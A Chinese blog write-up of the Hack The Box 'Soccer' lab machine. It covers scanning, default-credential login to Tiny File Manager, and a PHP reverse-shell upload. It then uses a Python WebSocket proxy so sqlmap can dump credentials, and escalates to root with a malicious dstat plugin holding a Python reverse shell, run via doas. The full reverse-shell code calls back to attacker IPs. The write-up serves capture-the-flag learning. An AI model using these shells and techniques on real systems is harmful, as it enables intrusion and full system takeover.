HTB-Soccer


HTB-Soccer

一、思路概要

1.目录扫描发现子目录存在Tiny File Manager弱口令;

2.弱口令登录后文件上传反弹shell获取www-data权限;

3.ngnix配置文件信息泄露发现soc-player子域;

4.soc-player子域页面源码发现使用了WebSocket;

5.WebSocket实现SQL注入获取ssh账户;

6.doas和dstat联动提权

二、信息收集

话不多说,nmap一把梭

nmap -sC -sV 10.10.11.194
┌──(root💀kali)-[~/桌面]
└─# nmap -sC -sV 10.10.11.194
Starting Nmap 7.91 ( https://nmap.org ) at 2023-02-06 04:01 EST
Nmap scan report for 10.10.11.194
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
......
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.39 seconds

开放端口:22(SSH)、80(HTTP,ngnix服务器)、9091

80端口HTTP服务域名为soccer.htb,将域名解析条目添加到hosts文件

echo "10.10.11.194 soccer.htb" >> /etc/hosts

浏览器访问soccer.htb,常规思路观察页面、看源码,没东西

gobuster扫目录(PS:龟速dirb还是少用)

┌──(root💀kali)-[~/桌面]
└─# gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/06 07:27:43 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
Progress: 13324 / 20470 (65.09%)[ERROR] 2023/02/06 07:35:14 [!] Get "http://soccer.htb/our-blog": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 13333 / 20470 (65.13%)[ERROR] 2023/02/06 07:35:15 [!] Get "http://soccer.htb/out": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 13408 / 20470 (65.50%)[ERROR] 2023/02/06 07:35:21 [!] Get "http://soccer.htb/p7ap": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14609 / 20470 (71.37%)[ERROR] 2023/02/06 07:36:13 [!] Get "http://soccer.htb/producttags": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14614 / 20470 (71.39%)[ERROR] 2023/02/06 07:36:14 [!] Get "http://soccer.htb/profiles": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14625 / 20470 (71.45%)[ERROR] 2023/02/06 07:36:17 [!] Get "http://soccer.htb/promoted": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14652 / 20470 (71.58%)[ERROR] 2023/02/06 07:36:21 [!] Get "http://soccer.htb/proplayer": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 14707 / 20470 (71.85%)[ERROR] 2023/02/06 07:36:25 [!] Get "http://soccer.htb/prototype": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 20469 / 20470 (100.00%)
===============================================================
2023/02/06 07:40:00 Finished
===============================================================

扫得http://soccer.htb/tiny/,浏览器访问,是个登录界面

下方有个超链接:—— © CCP Programmers ——,打开一看,就是登录页面的标题。

三、Tiny File Manager弱口令

Github有默认用户名和密码

默认用户名/密码:
admin/admin@123
user/12345

四、文件上传反弹shell

用admin用户登录进来,浏览页面,有个上传点,那当然是试试能不能上传个反弹shell。试来试去,发现刚进来的主界面是/var/www/html目录,正常的www服务目录,上传的话只会上传到当前所在目录,而且只有tiny/uploads目录下可以上传成功。由于靶场环境会隔几分钟刷新,所以上传的文件留存不了太久,建议上传之前就开好监听

nc -nvlp 3030	#端口改成自己脚本对应的

反弹shell脚本如下,注意修改ip为自己的vpn环境的ip(ifconfig命令看tun0网卡ip)

参考https://github.com/Cyberw1ng/Bug-Bounty/blob/main/rev_shell.php

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.6';  // CHANGE THIS
$port = 3030;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {

	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  
	}

	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  
   1 => array("pipe", "w"),  
   2 => array("pipe", "w")   
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

上传成功

URL栏里访问Shell文件https://www.soccer.htb/tiny/uploads/ReverseShell.php

监听接收到shell响应

获取bash,也就是转换成交互式shell

此时我们先看home目录,看有哪些用户,然后发现/home/player目录下有个user.txt,但www-data用户无访问权限

五、ngnix配置文件敏感信息泄露

然后来看ngnix的配置文件,在/etc/nginx/sites-enabled发现子域名soc-player.soccer.htb,这子域名也可以在/etc/hosts发现

再次添加域名解析条目进hosts文件,然后浏览器访问,如下可看到【Match】、【Login】、【Signup】字段

echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts

Match页面没什么东西

那我们就试试【Singnup】注册个账户,注册成功

然后登录

登录成功,跳转到一个票据检查页面

查看源码,用了WebSocket

六、WebSocket实现SQL注入

这里搜寻了大佬的思路,参考:Automating Blind SQL injection over WebSocket,可以利用WebSocket,实施SQL注入。在任意位置新建以下脚本文件

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
 ws = create_connection(ws_server)
 # If the server returns a response on connect, use below line 
 #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
 
 # For our case, format the payload in JSON
 message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
 data = '{"id":"%s"}' % message

 ws.send(data)
 resp = ws.recv()
 ws.close()

 if resp:
  return resp
 else:
  return ''

def middleware_server(host_port,content_type="text/plain"):

 class CustomHandler(SimpleHTTPRequestHandler):
  def do_GET(self) -> None:
   self.send_response(200)
   try:
    payload = urlparse(self.path).query.split('=',1)[1]
   except IndexError:
    payload = False
    
   if payload:
    content = send_ws(payload)
   else:
    content = 'No parameters specified!'

   self.send_header("Content-type", content_type)
   self.end_headers()
   self.wfile.write(content.encode())
   return

 class _TCPServer(TCPServer):
  allow_reuse_address = True

 httpd = _TCPServer(host_port, CustomHandler)
 httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
 middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
 pass

先运行脚本,后开启sqlmap

sqlmap -u "http://localhost:8081/?id=1"

死活测不出来,后面升级sqlmap,还不行,盯了两天,看了好几个大佬的思路,确定这个sql注入是必经之路,无奈,只能白嫖大佬的注入结果(如有大佬有思路,烦请指点一二)

sqlmap -u “http://localhost:8081/?id="
sqlmap -u “http://localhost:8081/?id=" --current-db
sqlmap -u “http://localhost:8081/?id=" -D soccer_db --tables
sqlmap -u "http://localhost:8081/?id=" -D soccer_db -T accounts --dump
+------+-------------------+----------+----------------------+
| id   | email             | username | password             |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player   | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+

然后SSH连上这个player用户

七、doas和dstat联动提权

接下来就是提权,我们用doas和dstat联动提权

doas:以其他用户身份执行命令,系统管理员可以对其进行设定,赋予指定使用者执行特定指令的权限。

dstat:用于生成系统资源统计信息的多功能工具。

关键点就在于用户可以给dstat添加查看系统资源的脚本文件,我们可以在脚本文件中利用socket来建立连接,从而获取shell。

我们用下列查找命令,可以发现靶机包含dstat工具

find / -type d -name dstat 2>/dev/null	

注:由于find在匹配查找过程中,会有部分目录无可读权限,从而会产生“Permission denied”的错误提示,此处“2>/dev/null”是为了过滤掉这些提示,简化输出结果。“2>/dev/null”表示重定向错误提示信息(stderr)到“/dev/null”,“/dev/null”是一个不存在的空设备。

可以看到dstat文件的格式都是dstat_*.py

官方给出的可能包含外部dstat_*.py插件的目录有如下几个

~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/

我们可以在/usr/local/share/dstat目录新建dstat_wa0er.py,内容如下

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.15",3030));	#此处ip及端口依然对应开启监听的主机和端口

os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);

import pty; pty.spawn("/bin/sh")

开启端口监听

nc -nvlp 3030

借助doas,以root身份执行dstat命令,从而执行dstat_wa0er.py

doas -u root /usr/bin/dstat --wa0er

可以看到,我们成功拿到root权限

参考

Soccer — Hack The Box

Hack The Box — Soccer Machine Simple Writeup by Karthikeyan Nagaraj

Automating Blind SQL injection over WebSocket

NodeJS WebSocket SQLi vulnerable WebApp

doas

dstat


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录